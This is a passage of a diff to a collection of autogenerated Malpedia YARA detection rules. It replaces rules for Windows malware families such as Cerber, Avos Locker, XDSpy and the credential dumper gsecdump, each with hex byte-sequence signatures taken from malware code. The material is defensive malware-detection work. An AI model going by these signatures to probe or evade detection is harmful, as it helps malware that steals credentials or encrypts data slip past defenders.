8b8df8f3ffff 83c101 898df8f3ffff } - $sequence_14 = { 0f84ee020000 66660f1f840000000000 81f900010000 0f8587000000 8bce } - $sequence_15 = { 1bc0 23c1 83c008 5d c3 8b04c50c480110 5d } + $sequence_0 = { 50 b9???????? e8???????? 85c0 7514 } + $sequence_1 = { 5e c3 55 8b6c2408 56 33f6 8b4d00 } + $sequence_2 = { e8???????? 6888130000 ff15???????? b9???????? e8???????? 68???????? e8???????? } + $sequence_3 = { 832000 a1???????? a3???????? c3 8b442404 a3???????? } + $sequence_4 = { 5b 5e 5f c9 c3 6a01 ff742408 } + $sequence_5 = { e8???????? 33d2 b90e000000 f7f1 } + $sequence_6 = { 6829080000 68???????? 68???????? e8???????? } + $sequence_7 = { 5e c3 55 8bec 833d????????00 750f } + $sequence_8 = { 41894e04 0fb64209 0fb64a08 c1e108 0bc8 0fb6420a c1e108 } + $sequence_9 = { 4c8bf1 488bf1 85c0 bd01000000 0f44c5 41c1e008 8905???????? } + $sequence_10 = { c1e108 0bc8 0fb6420b c1e108 0bc8 41894e08 0fb6420d } + $sequence_11 = { 0fb64201 4c8db100010000 0fb63a 4c8d258fdaffff 440fb65a04 4d8be8 440fb64a08 } + $sequence_12 = { 66420f6e4ccb10 4b8d0c5b 660f6e5ccb10 4183c308 4c8d0440 66420f6e54c310 8d47ff } + $sequence_13 = { 41c1e008 8905???????? 0fb64201 440bc0 0fb64202 41c1e008 } + $sequence_14 = { 415e 415d 415c 5d c3 498bcc e8???????? } + $sequence_15 = { e8???????? 488b0d???????? 33d2 ffd0 85c0 } condition: - 7 of them and filesize < 270336 + 7 of them and filesize < 677888 } -rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE +rule MALPEDIA_Win_Shortleash_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "be70f5e8-f454-5cf5-9a53-9b79088ce98e" + id = "b69c5abe-5ff2-5cda-b15d-4ffaeea772b2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.godzilla_loader_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shortleash" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shortleash_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "192fb36ce99cb3fd5c305739a3550413e1aac5f25669dd240cdac235353c820b" + logic_hash = "7625917da117618d50239e800ec3508d722326f3509a4fb7631eb7833bd5c208" score = 75 quality = 75 tags = "FILE" @@ -92380,32 +92557,32 @@ rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 57 ff7508 ff15???????? 8bf0 56 } - $sequence_1 = { 8d45fc 50 57 6a01 56 ff7508 } - $sequence_2 = { 6a00 8bf8 8d45fc 50 57 6a01 56 } - $sequence_3 = { 6a01 56 ff7508 8975fc } - $sequence_4 = { 53 53 53 6800000088 } - $sequence_5 = { a5 ff512c 85c0 756c } - $sequence_6 = { a5 50 a5 ff512c 85c0 756c } - $sequence_7 = { 8b08 50 ff11 85c0 7527 } - $sequence_8 = { 8bec 51 56 57 ff7508 ff15???????? 8bf0 } - $sequence_9 = { 53 53 53 53 6800000088 } + $sequence_0 = { ff10 83c8ff f00fc1430c 83f801 750c 488b4c2450 488b01 } + $sequence_1 = { e9???????? 4055 4883ec20 488bea ba90000000 488b4d30 e8???????? } + $sequence_2 = { f30f7f4de8 4533f6 4c8975f8 418d4e10 e8???????? 488bd8 488d45d8 } + $sequence_3 = { e9???????? 488d15d5580200 488bcf e8???????? 85c0 7504 488d7706 } + $sequence_4 = { e8???????? 488bd0 488d4c2440 e8???????? 90 488b8eb0000000 e8???????? } + $sequence_5 = { eb09 4c394810 7453 488b00 493b00 75f2 4d8b00 } + $sequence_6 = { b910000000 e8???????? 488906 488d0d0e020000 488d1533090000 48895308 48890b } + $sequence_7 = { ff15???????? 488b542458 488bcb e8???????? 488b542450 488d4b08 e8???????? } + $sequence_8 = { e8???????? 8bf0 85c0 0f8548010000 488b4530 4c8d8348010000 482b8390000000 } + $sequence_9 = { ff15???????? 4839b3a8000000 7442 488bcb e8???????? 488b8ba8000000 e8???????? } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 2415616 } -rule MALPEDIA_Win_Gotohttp_Auto : FILE +rule MALPEDIA_Win_Xdspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7d06cfe0-00c5-5a49-9ea7-3f35cccfbcba" + id = "54110d73-619a-59d4-a80b-7be8436504a7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gotohttp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gotohttp_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xdspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xdspy_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "eca21e603241e81fa8edd82e734587340b272e9a197c8dfdde2af1790f4487f3" + logic_hash = "6256dc971ecf3bb6744674fefad5e90a83cd8cf7acf2f0addd47bba093a56e7a" score = 75 quality = 75 tags = "FILE" @@ -92419,34 +92596,40 @@ rule MALPEDIA_Win_Gotohttp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb46 41f6401001 7412 0fb64c2428 ba01000000 66d3e2 66412350f8 } - $sequence_1 = { f30f590d???????? f30f5905???????? f30f58cc f30f58c4 f30f59c8 730a f30f1005???????? } - $sequence_2 = { eb05 ffc0 894334 488bcb e8???????? 488bcb 4c8bf8 } - $sequence_3 = { 89442454 488bd3 33c9 ff15???????? 488b87e0030000 8b4860 8d0c8d01000000 } - $sequence_4 = { e8???????? 488bf8 4885c0 7445 488d5010 488910 4863c5 } - $sequence_5 = { 83fb02 0f85ee010000 4585ed 741d 448b4d5c 488b9590000000 488b4d40 } - $sequence_6 = { e9???????? b920000000 e8???????? 488bd8 4885c0 741a 48897008 } - $sequence_7 = { ff5010 488d4b18 ff15???????? c7430800000000 40f6c601 7408 488bcb } - $sequence_8 = { eba3 488b8c2480000000 4881c150050000 488b842480000000 48898888000000 488b8c2480000000 488b842480000000 } - $sequence_9 = { eb17 41389efb020000 751f c64705c2 bb02000000 4885f6 7411 } + $sequence_0 = { 8d85b0510000 50 e8???????? 8d85b0510000 50 897da4 } + $sequence_1 = { 5e e8???????? c9 c3 53 56 68???????? } + $sequence_2 = { e8???????? 8d851cd1ffff 50 e8???????? ff35???????? 8d851cd1ffff 50 } + $sequence_3 = { 89459c ff15???????? 85c0 7413 ff15???????? 3db7000000 7506 } + $sequence_4 = { 56 8bf8 e8???????? 83c410 8bd8 85ff } + $sequence_5 = { 85f6 0f84ba000000 8975e0 8b04bd804e4100 0500080000 3bf0 } + $sequence_6 = { c3 8bff 56 57 33ff 8db730074100 } + $sequence_7 = { e8???????? 68ff000000 e8???????? 59 59 8b7508 8d34f548044100 } + $sequence_8 = { 0f8514010000 83fb01 0f850b010000 e8???????? 488d8dc0130000 ff15???????? } + $sequence_9 = { 88840d80070000 488d4901 84c0 75e8 80bd8007000000 488d8580070000 } + $sequence_10 = { 48898424c0000000 4889bc24c8000000 488d8c2480000000 ff15???????? } + $sequence_11 = { 4983e801 75ea b801000000 8d501f 6690 } + $sequence_12 = { 880413 48ffc3 4883fb0e 7cea } + $sequence_13 = { 75e8 488bcb 0f1f440000 420fb684399c941700 } + $sequence_14 = { 7413 0f1f840000000000 fe08 488d4001 403838 75f5 } + $sequence_15 = { e8???????? 488b05???????? 488d15853a0100 488bcb 83e13f } condition: - 7 of them and filesize < 6266704 + 7 of them and filesize < 3244032 } -rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE +rule MALPEDIA_Win_Unidentified_003_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b7f0c30-0206-5506-9bf8-8eb817cff417" + id = "d98d47b0-9a51-53ac-b838-c109a79a3c60" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.op_blockbuster_auto.yar#L1-L322" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_003_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "ef3bbaff4dfd2be69511dd31c3bf7441917e62af8119f46abb34c10cb6a977e8" + logic_hash = "a77ee5178781b22b88b059404b849af3a08c098d4327a0118f9c2d73b7bfb28c" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -92458,56 +92641,32 @@ rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c701???????? 8b497c 85c9 7407 51 } - $sequence_1 = { 57 683c400000 6a40 ff15???????? } - $sequence_2 = { e8???????? 85c0 7407 83f802 } - $sequence_3 = { ff15???????? 6808400000 6a40 ff15???????? } - $sequence_4 = { 56 e8???????? 68???????? 56 a3???????? e8???????? 83c440 } - $sequence_5 = { f3ab 66ab aa 5f 85f6 5e } - $sequence_6 = { 8a08 80f920 7505 83c021 } - $sequence_7 = { 8d45fc 6a04 50 57 ff15???????? } - $sequence_8 = { 85c0 7412 68???????? 50 e8???????? 59 a3???????? } - $sequence_9 = { 56 50 8d45fc 6a04 } - $sequence_10 = { 3c70 7f04 0409 eb06 } - $sequence_11 = { 3c69 7c08 3c70 7f04 } - $sequence_12 = { 8bf0 ff15???????? 85f6 7404 85c0 } - $sequence_13 = { 4863c1 48ffc7 448bc2 88940460010000 0fb607 84c0 } - $sequence_14 = { 33c0 8bf8 488d8dd0020000 4863df ff15???????? 488d4c3302 488d95d0020000 } - $sequence_15 = { a3???????? 5e c3 68???????? ff15???????? 85c0 7412 } - $sequence_16 = { 57 e8???????? 56 e8???????? 83c414 b801000000 } - $sequence_17 = { 666666660f1f840000000000 0fb603 48ffc3 884419ff 84c0 75f2 488d9580010000 } - $sequence_18 = { 488d8d11010000 33d2 41b803010000 c6851001000000 e8???????? 4533e4 488d542460 } - $sequence_19 = { 8bc6 5f 5e c3 33c0 6a00 } - $sequence_20 = { 6a00 ff15???????? 8bf8 85ff 7504 5f 5e } - $sequence_21 = { 89442440 888424c0020000 e8???????? 488d9424c0020000 } - $sequence_22 = { c3 56 53 6a01 57 e8???????? } - $sequence_23 = { c3 33c0 ebf8 53 33db 391d???????? 56 } - $sequence_24 = { 0fb607 48ffc1 84c0 75ea 803f20 740a } - $sequence_25 = { 68???????? 56 e8???????? 56 e8???????? 83c438 } - $sequence_26 = { 897de0 394508 7c1f 3934bdd8974400 } - $sequence_27 = { 83e03f c1ff06 6bd830 8b04bdd8974400 f644032801 } - $sequence_28 = { 6bc830 8b0495d8974400 8b440818 83f8ff 7409 83f8fe 7404 } - $sequence_29 = { 50 68???????? 6a05 8d856cffffff 57 50 } - $sequence_30 = { 8bcb 8d84240c0c0000 83e103 50 } - $sequence_31 = { c745d403000000 8975d8 8b08 52 } - $sequence_32 = { 8d85e0fdffff d1fe 4e 56 50 } - $sequence_33 = { e8???????? 6800040000 56 ff742414 ff15???????? 5f } + $sequence_0 = { b8???????? 2b05???????? ff7006 50 50 8d442464 50 } + $sequence_1 = { 7561 6a00 68???????? 8d45f0 e8???????? } + $sequence_2 = { 0f8312020000 8dbdf1fdffff 2bf9 8a11 88140f 41 84d2 } + $sequence_3 = { 85c0 75b5 8d45f4 50 8d85e3fbffff 50 } + $sequence_4 = { 395de0 0f8421010000 8b45e0 8b08 50 } + $sequence_5 = { bb01000080 53 ff15???????? 6a22 58 668985f0fbffff 33c0 } + $sequence_6 = { 3bc3 7468 3d00100400 741c 3d10100400 7415 3d00100600 } + $sequence_7 = { ff45fc 8b45fc 8145f80c020000 81c718040000 3b45f0 0f8238ffffff eb07 } + $sequence_8 = { 8b45a4 3bc3 7464 8945d8 33c0 8d7dac ab } + $sequence_9 = { 56 e8???????? 59 59 85c0 7408 c60000 } condition: - 7 of them and filesize < 74309632 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Btcware_Auto : FILE +rule MALPEDIA_Win_Gotohttp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fb79124d-5478-5d65-bb0b-b2f45f8507ae" + id = "7d06cfe0-00c5-5a49-9ea7-3f35cccfbcba" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.btcware_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gotohttp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gotohttp_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "953afc4c0f32ce8172077704d80fd52c7aee0d584b7d86a36e176eb1e7df5fbe" + logic_hash = "eca21e603241e81fa8edd82e734587340b272e9a197c8dfdde2af1790f4487f3" score = 75 quality = 75 tags = "FILE" @@ -92521,71 +92680,71 @@ rule MALPEDIA_Win_Btcware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85f4faffff 68???????? 50 ffd6 83c418 8d85f0faffff 50 } - $sequence_1 = { 8b4610 c6040800 83ff03 7ca9 8b7dd8 33db } - $sequence_2 = { e8???????? 8904bd40d04100 85c0 7514 } - $sequence_3 = { 6888d38101 68???????? 6a00 ffd3 33d2 } - $sequence_4 = { 50 ffb5a0d7ffff ff15???????? 85c0 0f8518feffff } - $sequence_5 = { 5d c3 55 8bec 83e4f8 b81c820000 } - $sequence_6 = { b880fd8101 c3 b87cfd8101 c3 53 56 } - $sequence_7 = { 897df4 3bfb 0f8e6fffffff 83c8ff eb07 8b04cdc42f4100 5f } - $sequence_8 = { c78564ffffff0f000000 c68550ffffff00 83f810 7245 8b8d38ffffff } - $sequence_9 = { 8945e0 8d8058c54100 8945e4 803800 8bc8 7435 8a4101 } + $sequence_0 = { eb46 41f6401001 7412 0fb64c2428 ba01000000 66d3e2 66412350f8 } + $sequence_1 = { f30f590d???????? f30f5905???????? f30f58cc f30f58c4 f30f59c8 730a f30f1005???????? } + $sequence_2 = { eb05 ffc0 894334 488bcb e8???????? 488bcb 4c8bf8 } + $sequence_3 = { 89442454 488bd3 33c9 ff15???????? 488b87e0030000 8b4860 8d0c8d01000000 } + $sequence_4 = { e8???????? 488bf8 4885c0 7445 488d5010 488910 4863c5 } + $sequence_5 = { 83fb02 0f85ee010000 4585ed 741d 448b4d5c 488b9590000000 488b4d40 } + $sequence_6 = { e9???????? b920000000 e8???????? 488bd8 4885c0 741a 48897008 } + $sequence_7 = { ff5010 488d4b18 ff15???????? c7430800000000 40f6c601 7408 488bcb } + $sequence_8 = { eba3 488b8c2480000000 4881c150050000 488b842480000000 48898888000000 488b8c2480000000 488b842480000000 } + $sequence_9 = { eb17 41389efb020000 751f c64705c2 bb02000000 4885f6 7411 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 6266704 } -rule MALPEDIA_Win_Pathwiper_Auto : FILE +rule MALPEDIA_Win_Unidentified_063_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6716c11-1f14-5a04-8fe4-1682b0bebda9" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathwiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathwiper_auto.yar#L1-L133" + id = "d22cba4e-b95b-5578-ac95-09534bd7dc14" + date = "2022-11-21" + modified = "2022-11-25" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_063_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2875d616150343a511e4ca1c06e26bab19bffb8a61f2efbef223956f6da2a004" + logic_hash = "14c180eecdf0e6fbf2b936d6c444ad58c2e649e1fa770106e8719057ee1aefbd" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20221118" + malpedia_hash = "e0702e2e6d1d00da65c8a29a4ebacd0a4c59e1af" + malpedia_version = "20221125" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 8d8d88ebffff e8???????? 8bf8 6a00 } - $sequence_1 = { 84c0 0f84a8000000 807d3400 0f849e000000 8b950cfeffff 8b8d04feffff 8d4201 } - $sequence_2 = { 8845eb 8bc1 f7e6 6a00 68ffffff7f 52 50 } - $sequence_3 = { 8bf8 eb02 33ff 8b8518feffff 40 897dc0 50 } - $sequence_4 = { c645fc8a 50 8d8df3efffff e8???????? 8d85acf8ffff c645fc8b 50 } - $sequence_5 = { 3bf8 0f84f2010000 83c704 0f1f00 6a00 8d850cffffff 8bcf } - $sequence_6 = { e8???????? 83c408 83c718 3bbd48feffff 0f85c2feffff 8d8554feffff 898528feffff } - $sequence_7 = { 660fd68504f0ffff c785f4efffff3734d6f2 0f1f440000 8a443dd0 32c1 88843df8efffff } - $sequence_8 = { 2b85bcf6ffff 8985d8f6ffff 0f8559fcffff 8b8db8f6ffff 85c9 7445 8b3c8d7c2d4600 } - $sequence_9 = { 8b7508 8d45f4 683734daf3 50 8d45e0 8975ec 50 } + $sequence_0 = { 8d43cf 83f819 770c 6689b550030000 e9???????? } + $sequence_1 = { 7363 488bf3 4c8d35dfc40100 83e63f 488beb 48c1fd06 48c1e606 } + $sequence_2 = { e8???????? 4863f8 488d3588800100 488bcb } + $sequence_3 = { 0f11442478 4c8b4708 488d442470 493bc0 7362 488b07 488d4c2470 } + $sequence_4 = { 4885c9 7407 48ff25???????? c3 48894c2408 57 4883ec50 } + $sequence_5 = { 83f801 7518 488b0d???????? 488d05bf5f0100 483bc8 7405 e8???????? } + $sequence_6 = { 8b8c96d0cd0200 8b534c 33c8 0fb6c1 } + $sequence_7 = { 0f84e7000000 488b0e 483bc8 740e 4885c9 7406 } + $sequence_8 = { 498bc2 418be9 48c1f806 488d0d708c0100 4183e23f 4903e8 } + $sequence_9 = { 488d158a5a0200 488bcb e8???????? 85c0 7499 488d157f5a0200 488bcb } condition: - 7 of them and filesize < 1047552 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Dtrack_Auto : FILE +rule MALPEDIA_Win_Gooseegg_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a8e0795f-f37a-570e-a2d0-586d485922bb" + id = "d8132454-9f6e-5d45-ae4a-e06046e4b7c3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dtrack_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gooseegg" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gooseegg_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "6b14b7e6495b7f7e349f91bcaae4aa222786469ac0195332831e5ef10b7a534f" + logic_hash = "8983b8f0c526551207a00c2d480777794912cb3a61999ef4b05b249edd7a0003" score = 75 quality = 75 tags = "FILE" @@ -92599,37 +92758,32 @@ rule MALPEDIA_Win_Dtrack_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 } - $sequence_1 = { 50 8d8dccfdffff 51 6a00 8d95b0faffff 52 } - $sequence_2 = { 8b4df8 c1e902 334df8 8b55f8 c1ea03 33ca } - $sequence_3 = { 33ca 8b55f8 c1ea07 33ca c1e118 } - $sequence_4 = { 50 e8???????? 83c40c c685b8fbffff00 } - $sequence_5 = { 8b88fc180000 8b5508 8b4508 8b8008100000 89848a04100000 8b4d0c } - $sequence_6 = { 8d959efaffff 52 e8???????? 83c410 8d85d4faffff 898528f6ffff } - $sequence_7 = { e8???????? 83c410 c68587f6ffff00 8b15???????? 52 } - $sequence_8 = { eb64 8b4d10 51 6a00 } - $sequence_9 = { 8b08 894dfc 8b550c 8b4204 8945f8 68efcdab89 } - $sequence_10 = { c1e217 0bca 894d14 8b45f8 } - $sequence_11 = { 6a00 8b55f4 52 e8???????? 83c40c 8b450c 8b08 } - $sequence_12 = { 0bc1 894518 8b5514 8955f8 } - $sequence_13 = { 8b4df8 c1e908 234df8 8b45f8 c1e810 23c8 } - $sequence_14 = { 8b4df0 3b4d10 0f8d90000000 8b5508 } + $sequence_0 = { 4d85c9 488d3d797c0000 488bc2 4c8bfa 4d0f45d1 4885d2 418d6b01 } + $sequence_1 = { 488d05f1550100 c3 488d05f1550100 c3 4883ec28 e8???????? } + $sequence_2 = { eb02 33db 4c8d357194ffff 4885db } + $sequence_3 = { ff15???????? 48832300 4883c308 488d05b9440100 483bd8 } + $sequence_4 = { 488d35abe70000 48895c2420 488d056fff0000 483bd8 7419 483933 740e } + $sequence_5 = { 488b05???????? 488d150ef7ffff 483bc2 7423 65488b042530000000 } + $sequence_6 = { 4c8d0dd17b0000 33c9 4c8d05c47b0000 488d15c57b0000 e8???????? 4885c0 740b } + $sequence_7 = { 488945e0 895128 488d0dbb940000 488b45d8 488908 488d0d0d190100 488b45d8 } + $sequence_8 = { 8bfb e9???????? e8???????? 488d1df2370100 } + $sequence_9 = { 85c0 0f849e000000 4c8d051f330100 ba00020000 } condition: - 7 of them and filesize < 1736704 + 7 of them and filesize < 217088 } -rule MALPEDIA_Win_Cerber_Auto : FILE +rule MALPEDIA_Win_Mimic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4c9d39f2-1f37-54c9-9401-1cacb9319069" + id = "a8de2e30-a540-5075-b183-0c7273ee4c55" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerber_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimic_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "b9dc28e7f8f56d5aa5c92d6f0da2514b7004d6b05c357e6e1f8548cb64132bf7" + logic_hash = "1c66a1ded66595b3251cf8ee2e17251126ee2cc563185ec6b8bc5f5c9095e6bc" score = 75 quality = 75 tags = "FILE" @@ -92643,32 +92797,32 @@ rule MALPEDIA_Win_Cerber_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8345fc04 8901 ff45f8 8b45f8 } - $sequence_1 = { 8b5508 2bd7 8955f4 8975fc } - $sequence_2 = { 59 84c0 7413 8b450c 56 ff7508 8b7510 } - $sequence_3 = { 833c8100 7505 85c0 75f1 c3 40 } - $sequence_4 = { 8b550c 8b4510 b900100000 2b8e7c3b0000 33db 2b55fc 1bc3 } - $sequence_5 = { 7709 39450c 0f86dc000000 8b550c 8b4510 } - $sequence_6 = { 6a00 50 e8???????? 8b4df0 83c40c 85c9 7e58 } - $sequence_7 = { 7433 8b7d0c 8b5508 2bd7 8955f4 8975fc } - $sequence_8 = { 762e 85d2 7838 8b4508 8b04b8 83651400 837d1420 } - $sequence_9 = { 3b7d0c 72d2 85d2 780a } + $sequence_0 = { 52 51 50 ff36 ff15???????? 85c0 0f84a30a0000 } + $sequence_1 = { 0fb6c3 8b5f30 330c8508fa5b00 8d0411 8b542420 33d0 8b442410 } + $sequence_2 = { 898554feffff 85c9 7436 8b9534feffff 8bc1 2bd1 81fa00100000 } + $sequence_3 = { 83c40c 56 ff15???????? e9???????? 52 51 } + $sequence_4 = { a0???????? 83ec0c 84c0 7404 8be5 5d c3 } + $sequence_5 = { ff15???????? 8b460c ff748604 ff15???????? 837e4800 7440 0f1f8000000000 } + $sequence_6 = { 3d???????? 740d 8bc8 e8???????? 8b0d???????? 8b5104 8b82f4d55e00 } + $sequence_7 = { 8d85b4f9ffff 50 56 ffd7 85c0 746c 8b8db8f9ffff } + $sequence_8 = { 50 51 8d8de0feffff e8???????? 6a18 68???????? 51 } + $sequence_9 = { ff75b8 0f4345a8 50 e8???????? 33c9 0f1000 0f11854cffffff } condition: - 7 of them and filesize < 573440 + 7 of them and filesize < 4204544 } -rule MALPEDIA_Win_Avos_Locker_Auto : FILE +rule MALPEDIA_Win_Gsecdump_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "039bebd7-5f26-5f3f-b924-0aa65f143ed6" + id = "2dfd4f44-5170-5305-aab8-b4eb041699cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avos_locker_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gsecdump_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "25a4044828a799f02250311dfaed2866f19c9739199bc4c05e8d323abbd8f547" + logic_hash = "c92dc71f6df6f2ca655d1d4b5083e376ffdf96fc42dec3e3018507005bdeaa61" score = 75 quality = 75 tags = "FILE" @@ -92682,33 +92836,33 @@ rule MALPEDIA_Win_Avos_Locker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8d80fbffff e8???????? 888595fbffff 6a20 8d8d80fbffff e8???????? 888596fbffff } - $sequence_1 = { 83fe1a 7ce4 eb0c 57 8d44241c 50 ff15???????? } - $sequence_2 = { c7462800000000 c7462c00000000 0f114618 c645c000 f30f7e45d0 660fd64628 c745d000000000 } - $sequence_3 = { 64a300000000 8bf1 8975ec c745fc00000000 6a24 c745f000000000 e8???????? } - $sequence_4 = { 8955ec 3bda 7467 8b4208 8b4b08 8b730c } - $sequence_5 = { 8d46ec 6a00 50 ff15???????? 85c0 0f8506080000 8b4604 } - $sequence_6 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d8090f74b00 8945e4 } - $sequence_7 = { 66890451 33c0 6689445102 59 c20400 ff742408 c644240400 } - $sequence_8 = { 8bcc 89a54cf7ffff 68???????? e8???????? c645fc35 8d85b8f9ffff 50 } - $sequence_9 = { 8b11 8d4201 8901 8a442413 8802 0fb6c0 eb0b } + $sequence_0 = { 56 8b742408 85f6 57 8bf9 7505 bef7030000 } + $sequence_1 = { e8???????? 6aff 53 8d4c2430 51 8bce e8???????? } + $sequence_2 = { 720d 8b542430 52 e8???????? 83c404 8bc6 8b4c2448 } + $sequence_3 = { 8bef 83c701 eba4 8b4e24 3bca 740c } + $sequence_4 = { 7422 8b4c2440 51 8b4c2428 8d542420 52 51 } + $sequence_5 = { 8db424c0000000 89742424 896c2428 8bc2 7307 8d8424c4000000 } + $sequence_6 = { 50 895c241c e8???????? 8b4c2464 8b542468 8b44246c 894e44 } + $sequence_7 = { 50 8b8de8f7ffff 8b5110 ffd2 81c49c000000 85c0 7d0c } + $sequence_8 = { e8???????? 33c0 e9???????? 6a06 68???????? 8d4dd4 c745ec0f000000 } + $sequence_9 = { 83f8ff 7409 8b74246c eb03 8d7004 56 8d4c2418 } condition: - 7 of them and filesize < 1701888 + 7 of them and filesize < 630784 } -rule MALPEDIA_Win_Bhunt_Auto : FILE +rule MALPEDIA_Win_Sepsys_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4af1ffc-8c62-52d5-b468-d6549e9f3fe4" + id = "c07920dc-ecf4-5d0c-836a-1794c74b71bf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bhunt_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepsys_auto.yar#L1-L134" license_url = 